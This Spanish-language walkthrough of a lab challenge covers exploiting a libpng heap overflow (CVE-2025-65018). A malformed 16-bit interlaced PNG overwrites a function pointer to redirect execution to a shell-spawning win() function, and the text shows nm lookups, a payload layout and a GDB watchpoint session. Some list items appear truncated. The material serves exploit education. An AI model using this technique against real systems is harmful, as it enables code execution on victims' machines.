
Este desafío se basa en una vulnerabilidad real de desbordamiento de búfer en libpng (específicamente relacionada con la API simplificada png_image_finish_read al manejar imágenes entrelazadas de 16 bits).
Se te proporciona un binario vulnerable victim que utiliza una versión estáticamente enlazada y vulnerable de libpng. La aplicación lee un archivo PNG llamado exploit.png en un búfer.
Tu objetivo es crear un archivo PNG malicioso que provoque un desbordamiento de montón para sobrescribir un puntero de función en la estructura Logger (ubicada inmediatamente después del búfer de imagen), redirigiendo la ejecución a la función win() para lanzar una shell.
Requisitos previos: gcc, make, python3, git, autoconf, automake, libtool.
Clona el repositorio:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
Compila el desafío (incluyendo la libpng vulnerable):
./build.sh
Este script:
libpng para habilitar la vulnerabilidad.libpng.victim.La vulnerabilidad radica en cómo libpng maneja las imágenes entrelazadas al convertir de una entrada de 16 bits a una salida de 8 bits.
PNG_FORMAT_RGBA). libpng asigna un tamaño de búfer suficiente para datos de 8 bits.png_combine_row escribe incorrectamente datos utilizando la profundidad de bits de 16 bits de la entrada en el búfer de salida.El binario contiene una función auxiliar win() que llama a execl("/bin/sh", ...). Necesitamos su dirección. Dado que el binario está compilado con -no-pie, las direcciones son estáticas.
nm victim | grep win
# Output: 00000000004013e0 T win
Dirección objetivo: 0x4013e0
solve.py)Necesitamos crear un PNG válido que:
IHDR) que especifique una profundidad de 16 bits.win).El script solve.py hace lo siguiente:
Logger (que está a 4096 bytes del inicio del búfer).win en los datos de píxeles de la última fila.IDAT.Diseño del payload:
La dirección de win 0x4013e0 (Little Endian: E0 13 40 00 ...) debe codificarse en píxeles RGB de 16 bits.
Genera el PNG malicioso:
python3 solve.py 4013e0
Esto crea exploit.png.
Ejecuta el binario victim:
./victim
Salida esperada:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
Para ver el desbordamiento en acción, puedes usar GDB.
1. Poner un breakpoint antes de la llamada vulnerable:
break 62
run
2. Observa la sobrescritura:
La estructura Logger está en el desplazamiento 4096. Vamos a observar el puntero de función objetivo.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. Activa la vulnerabilidad:
GDB se detendrá cuando png_combine_row escriba en el puntero de función.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
¡Esto confirma que libpng sobrescribió nuestro puntero con la dirección de win!
victim.c: Código fuente vulnerable.solve.py: Generador del exploit.libpng-src/: Código fuente de libpng (v1.6.37).build.sh: Script para compilar todo.Makefile: Sistema de compilación para el binario victim.